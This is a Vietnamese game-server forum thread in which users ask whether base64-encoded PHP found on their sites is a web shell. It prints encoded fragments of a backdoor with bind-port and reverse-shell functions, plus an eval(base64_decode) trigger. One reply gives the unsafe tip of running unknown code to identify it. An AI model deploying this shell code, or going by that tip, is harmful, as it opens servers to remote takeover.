ICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2 V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsgDQogICAgICAg ICAgICBpZigkdykgICAgeyANCiAgICAgICAgICAgICAgICBAZn dyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRz KCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2 NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7IA0KICAg ICAgICAgICAgICAgIEBmY2xvc2UoJHcpOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsn cDEnXSA9PSAnYnBjJykgeyANCiAgICAgICAgICAgIGNmKCIvdG 1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7IA0KICAgICAgICAgICAg JG91dCA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKT sgDQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsg DQogICAgICAgICAgICAkb3V0IC49IGV4KCIvdG1wL2JwICIuJF 9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7IA0K ICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dF xuIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOyAN CiAgICAgICAgfSANCiAgICAgICAgaWYoJF9QT1NUWydwMSddID 09ICdicHAnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYnAu cGwiLCRiaW5kX3BvcnRfcCk7IA0KICAgICAgICAgICAgJG91dC A9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9Q T1NUWydwMiddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIj xwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdy ZXAgYnAucGwiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogIC AgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgeyANCiAg ICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3 RfYyk7IA0KICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8g L3RtcC9iYyAvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICBAdW 5saW5rKCIvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICAkb3V0 IC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1 BPU1RbJ3AzJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNobyAi PHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3 JlcCBiYyIpLiI8L3ByZT4iOyANCiAgICAgICAgfSANCiAgICAg ICAgaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7IA0KICAgIC AgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3Rf cCk7IA0KICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZX JsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4k X1BPU1RbJ3AzJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNoby AiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwg Z3JlcCBiYy5wbCIpLiI8L3ByZT4iOyANCiAgICAgICAgfSANCi AgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHByaW50 Rm9vdGVyKCk7IA0KfSANCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXS kgKSANCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYm IGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2 FjdGlvbikpIA0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZh dWx0X2FjdGlvbjsgDQogICAgZWxzZQ0KICAgICAgICAkX1BPU1 RbJ2EnXSA9ICdTZWNJbmZvJzsgDQppZiggIWVtcHR5KCRfUE9T VFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLi AkX1BPU1RbJ2EnXSkgKSANCiAgICBjYWxsX3VzZXJfZnVuYygn YWN0aW9uJyAuICRfUE9TVFsnYSddKTs=')); ?>
    không biết cái này có ảnh hưởng gì đến việc mất thẻ ko anh em xem giúp!
    Khách viếng thăm hãy cùng supberman xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  2. #2
    Thành Viên GameZone 033718730's Avatar
    Ngày tham gia
    Feb 2010
    Bài viết
    248
    Thanks
    14
    Thanked 33 Times in 15 Posts

    Ðề: đây có phải là sell???/

    đây là mã hóa thôi chạy thử xem xem nó ra shell ko là biết ngay
    Khách viếng thăm hãy cùng 033718730 xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  3. Các thành viên gởi lời cảm ơn đến 033718730 vì bài viết này !

    shsangsh (26-08-14)

  4. #3
    ♔YONKOU♔ Edward_Newgate's Avatar
    Ngày tham gia
    Nov 2010
    Bài viết
    2,773
    Thanks
    533
    Thanked 1,059 Times in 655 Posts

    Ðề: đây có phải là sell???/

    Shell 404 đấy
    STRONGEST MAN

  5. #4
    Em Là Gà :( Mr.QuangHuy's Avatar
    Ngày tham gia
    Aug 2008
    Bài viết
    197
    Thanks
    30
    Thanked 197 Times in 31 Posts

    Ðề: đây có phải là sell???/

    Shell chứ sao lại sell .
    Khách viếng thăm hãy cùng Mr.QuangHuy xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  6. #5
    Thành Viên
    Ngày tham gia
    Aug 2006
    Bài viết
    422
    Thanks
    66
    Thanked 19 Times in 18 Posts

    Ðề: Đây có phải là shell?

    if(isset($_GET['qT'])){
    eval(base64_decode('aWYoIWZpbGVfZXhpc3RzKCcuL2RhdG EvcmVnLnBocCcpKXsgZWNobyAncVQnOyB9'));
    đây nữa hix.toàn loại này không biết thế nào nữa
    Khách viếng thăm hãy cùng supberman xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  7. #6
    Thành Viên Tâm Huyết Hào Hoa Công Tử's Avatar
    Ngày tham gia
    Mar 2011
    Đang ở
    Hoa Quả Sơn
    Bài viết
    1,986
    Thanks
    239
    Thanked 676 Times in 455 Posts

    Ðề: Đây có phải là shell?

    shell 100%.............................................. .
    Cho thuê VPS X5650 RAM 8GB + SSD 130 GB + MUSERVER SS6.9 + web config a-z + hỗ trợ FULL (config + quản lý + quảng cáo ads fb...)
    Skype : ngocduongnet
    Group giao lưu admin MUSERVER : [Only registered and activated users can see links. ]

  8. #7
    Thành Viên Tâm Huyết hoainiemclub's Avatar
    Ngày tham gia
    Apr 2011
    Bài viết
    1,086
    Thanks
    233
    Thanked 365 Times in 285 Posts

    Ðề: Đây có phải là shell?

    Trích dẫn Gửi bởi supberman [Only registered and activated users can see links. ]
    đây nữa hix.toàn loại này không biết thế nào nữa
    cái trên cùng k biết chứ cái base 64 là 1 dạng mã hóa mà
    Chào Khách viếng thăm Rất hân hạnh được làm quen
    Yahoo: [Only registered and activated users can see links. ]
    Skype : Marvel.HoNa

  9. #8
    Thành Viên Tâm Huyết
    Ngày tham gia
    May 2012
    Bài viết
    2,329
    Thanks
    870
    Thanked 587 Times in 453 Posts

    Ðề: Đây có phải là shell?

    có phải đoạn code của home tv web ko
    Khách viếng thăm hãy cùng The Gamer xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  10. #9
    Thành Viên
    Ngày tham gia
    Feb 2012
    Bài viết
    463
    Thanks
    100
    Thanked 88 Times in 71 Posts

    Ðề: Đây có phải là shell?

    Gửi 1 lời nhắn tới tất cả các bạn không biết j về decode , không biết về mã hóa , giải mã,
    khi các bạn gặp 1 file lạ , hoặc 1 đoạn mã base64 lạ, copy nó thành 1 file php, chạy nó là biết ngay,
    Của bạn bên trên là con shell 404 , con này đc share mình thấy lần đầu trên VNW
    mà nói thật là nếu bạn dùng host việt nam , và 1 sever có hàng chục , thậm trí hàng trăm site , thì việc bạn bị local là chuyện bình thường nếu o nắm rõ nguyên tắc chmod , và bảo mật
    Khách viếng thăm hãy cùng thuynga xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  11. #10
    Thành Viên
    Ngày tham gia
    Jul 2012
    Bài viết
    18
    Thanks
    6
    Thanked 20 Times in 4 Posts

    Ðề: Đây có phải là shell?

    Hàm shell

    eval(base64_decode
    ai cần scan shell pm mình scan trong code cho
    Khách viếng thăm hãy cùng xinhtraj.11o2 xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

 

 
Trang 1 của 2 1 2 CuốiCuối

Các Chủ đề tương tự

  1. [MU] Forum có shell xin cách loại bỏ :(
    Bởi heroviet2301 trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 2
    Bài viết cuối: 03-07-12, 04:09 PM
  2. Lỗi server 1k + shell
    Bởi pekubu trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 26-03-12, 07:31 PM
  3. Web CLBMUVN 3.5 by NTPRO có Shell ?
    Bởi TND.VN trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 14-08-11, 02:32 PM
  4. Tự động tìm shell trên host (phòng ngừa bị local)
    Bởi blackcatyb trong diễn đàn SQL Server & Website
    Trả lời: 9
    Bài viết cuối: 29-05-11, 10:27 PM
  5. Tự động tìm shell trên host (phòng ngừa bị local)
    Bởi blackcatyb trong diễn đàn SQL Server & Website
    Trả lời: 3
    Bài viết cuối: 25-05-11, 11:08 PM

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •  
Múi giờ GMT +7. Bây giờ là 03:14 AM.
vBulletin®, Copyright ©2000-2011, Jelsoft Enterprises Ltd.
CLBGamesVN không chịu trách nhiệm về Luật Bản Quyền của các tài liệu, bài viết v.v...được đăng tải trên diễn đàn này.
Diễn đàn phát triển dưới sự đóng góp của tất cả thành viên. BQT chỉ là những người thành lập ra sân chơi, quản lý và duy trì về mặt kỹ thuật, nội dung khi hợp lệ.